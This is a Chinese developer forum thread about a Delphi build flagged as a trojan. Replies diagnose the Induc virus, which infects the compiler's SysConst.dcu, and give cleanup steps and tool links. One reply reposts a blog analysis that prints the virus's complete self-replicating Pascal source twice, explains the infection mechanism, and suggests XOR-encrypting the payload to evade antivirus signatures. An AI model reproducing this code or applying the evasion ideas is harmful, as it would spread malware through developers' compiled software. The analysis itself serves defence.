生成的程序卡巴就报毒已删除: 木马程序 Trojan-Banker.Win32.Banker.csb 文件: D:\STP\STP.exe但瓣建一个空白项目编译可以,是不是我的代码有毒啊?但是我之前一直是这样的代码,只是这几天换装WIN7后,又装回XP而已SysConst.dcu文件也只有12K而已

解决方案 »

  1.   

    有可能是你的Delphi 已经被感染了,建议用杀软,杀下Delphi的安装目录!
    呵呵
      

  2.   

    据说有一种病毒专门感染DELPHI环境的!
      

  3.   

    看了一下您的情况,还真的是:请看这里:感染delphi编译器的SysConst.dcu病毒[严重警惕]
    http://hi.baidu.com/xgymcn/blog/item/319a6106cbb4c272020881da.html
    处理方法:用干净的SysConst.dcu文件替换病毒文件,注意,就算恢复回原来的SysConst.dcu文件,但是那些被感染过的程序再次执行,还会再次被感染.暂时免疫方法:恢复后,设置SysConst.dcu文件属性为只读,并且保留SysConst.bak文件或者创建SysConst.bak名字的文件夹.
      

  4.   

    经常搞DELPHI的还是常备这个工具要好一点,呵呵,
    金山毒霸--Delphi梦魇病毒专杀工具 
    http://xiazai.zol.com.cn/detail/38/376092.shtmlDelphi病毒专杀工具 V09.10.21 v0
    http://www.zqingqing.com/soft/4993.html
      

  5.   

    不好意思。没测试,上面的下载地址都不对。还是去天空网上下载吧。金山毒霸--Delphi梦魇病毒专杀工具 
    http://www.skycn.com/soft/57040.html
      

  6.   

    作者:Azrael   日期:2009-08-19好有趣的感染方式,够可爱了~今天群的人发了一条链接,关于许多人SysConst.dcu被感染.被感染后的SysConst.dcu体积是18KB左右,正常的SysConst.dcu是12KB左右.偷偷瞄了一下偶的SysConst.dcu,竟然被感染了,而且潜伏的时间应该超过4个月~ 只是前两天卡巴更新病毒库,卡巴报病毒名为:Virus.Win32.Induc.a,大家才发觉有所不妥.uses windows; var sc:array[1..24] of string=(','function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s','=#36 then s:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;','h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin','h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle','(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile','(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while','not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0','then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,','x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.','wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,','f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),','pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,','0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=','CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,','@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of','char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(','HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then','begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=','1; while c<>#0 do begin r:=r+c;inc(i);end;re(r+$\source\rtl\sys\SysConst$+','$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;','begin st; end.稍微还原一下就是function x(s:string):string;var i:integer;begin for i:=1 to length(s) do        if s=#36 then s:=#39;result:=s;end;procedure re(s,d,e:string);varf1,f2:textfile;h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;beginh:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);if h<>DWORD(-1) thenbegin       CloseHandle(h);       exit;end;{'I-}assignfile(f1,s);reset(f1);if ioresult<>0 then       exit;assignfile(f2,d+'pas');rewrite(f2);if ioresult<>0 then begin        closefile(f1);        exit; end;while not eof(f1) dobegin       readln(f1,s);       writeln(f2,s);       if pos('implementation',s)<>0 then       break;end;for h:= 1 to 1 do       writeln(f2,sc[h]);for h:= 1 to 23 do       writeln(f2,''''+sc[h],''',');writeln(f2,''''+sc[24]+''');');for h:= 2 to 24 do       writeln(f2,x(sc[h]));closefile(f1);closefile(f2);{'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));fillchar(f,sizeof(f),0);f.cb := sizeof(f);f.dwFlags := STARTF_USESHOWWINDOW;f.wShowWindow := SW_HIDE;b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);if b then       WaitForSingleObject(p.hProcess,INFINITE);       MoveFile(pchar(d+'bak'),pchar(d+'dcu'));       DeleteFile(pchar(d+'pas'));       h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);       if h=DWORD(-1) then       exit;       GetFileTime(h,@t1,@t2,@t3);       CloseHandle(h);       h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);       if h=DWORD(-1) then       exit;       SetFileTime(h,@t1,@t2,@t3);       CloseHandle(h);end;procedure st;var k:HKEY;c:array [1..255] of char;i:cardinal;r:string;v:char;beginfor v:='4' to '7' doif RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 thenbegini:=255;if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 thenbegin       r:='';       i:=1;       while c<>#0 do       begin         r:=r+c;         inc(i);       end;       re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');end;RegCloseKey(k);end;end;beginst;end.大概分析一下原理病毒的主体代码,首先执行后从注册表"HKEY_LOCAL_MACHINE\Software\Borland\Delphi\"的RootDir值下读取Delphi路径.然后再读取delphi路径下的\source\rtl\sys\SysConst.pas文件,循环读取直到implementation行.然后跳出循环,下面开始输出恶意代码.保存文件后,最后使用MoveFile函数将原来的SysConst.dcu命名为SysConst.bak,最后使用CreateProcess函数隐藏调用dcc32.exe编译被感染后的SysConst.pas单元文件为SysConst.dcu.获取原文件时间,修改被感染后文件的时间,所以从文件时间上看不出任何变化.被感染后的编译环境只要加入SysUtils单元所编译的任意可执行文件都会成为病毒载体,感染Delphi下的编译环境~从代码可以看得出,作者用意不在破坏,而是静默无声无色地实现感染,一次又一次的感染,不断地传播代码的主体.稍微推测一下作者,不像国人的作风,国人稍微找到一丁点可以利用的东西,肯定借题发挥.不断地XX转化为利益.就算不为利益,肯定很炫耀地贴上by xxx,好让全世界都知道是他弄的.从数组变量命名为sc,不难想象,其实应该是Source Code的缩写,像老外作风,觉得作者应该是国外的.而且作者很低调,似乎只是想实现自己的一种自我价值.享受着精神上的价值,不过也可以说是恶作剧.还好没有加入其它更邪恶的代码,要是弄一个下载者功能进去,又开始无敌了~通过感染源文件实现传播,感染确实有那么一点点新颖,以前有想过,不过感觉作者实现得很好.主动防御的出现确实抹杀了不少病毒和木马之间的生存空间,起码传统上的几乎无一幸免.传统上的传播已经江郎才尽,能发挥的都发挥了,只有其他更多种多样的途径上传播才是王道.感染源文件,那样可委屈那些开发人员的,好不容易写出一套程序,编译后并发布,却要背负着植入恶意代码的嫌疑,真是悲哀~而且稍微补充一下这个XX的不足1.主体代码用字符串数组的方式保存,随便用一些十六进制编辑软件都能看见主要代码,容易泄漏技术细节.2.因为字符串内包含'符号会导致编译冲突.所以作者弄了一个x函数,本意是将字符串内的$替换为'符号.结合以上两点,可以考虑用简单的xor异或加密的方式保存主体代码.而且密钥方面可以随机改变一下.我尝试将被感染后的程序内的主体字符串代码填充为00,然后保存后,卡巴大叔不杀了,哈哈~可以看得出,卡巴是通过特征码查杀技术,假如将那段主体代码每次随机加密保存,不知道卡叔如何对付呢?应该会用上启发式查杀,哈哈~
    注意,就算恢复回原来的SysConst.dcu文件,但是那些被感染过的程序再次执行,还会再次被感染.暂时免疫方法:恢复后,设置SysConst.dcu文件属性为只读,并且保留SysConst.bak文件或者创建SysConst.bak名字的文件夹.
      

  7.   

    不过如果SysConst.dcu文件正常的话,那么可能是你写的程序有病毒特征
      

  8.   

    看来,你中了前段时间的delphi病毒!
      

  9.   

    SysConst.dcu文件也只有12K
    楼主是什么版本,如果是d7的话,应该只有11.3k
      

  10.   

    我也有过这样的提示
    不过我安装的ESET
    我用D7 写的,运行时就会提示,用D2007写的就不会,怪了
      

  11.   

    3楼分析的对,是你的delphi有病毒,所以生成的EXE也带毒了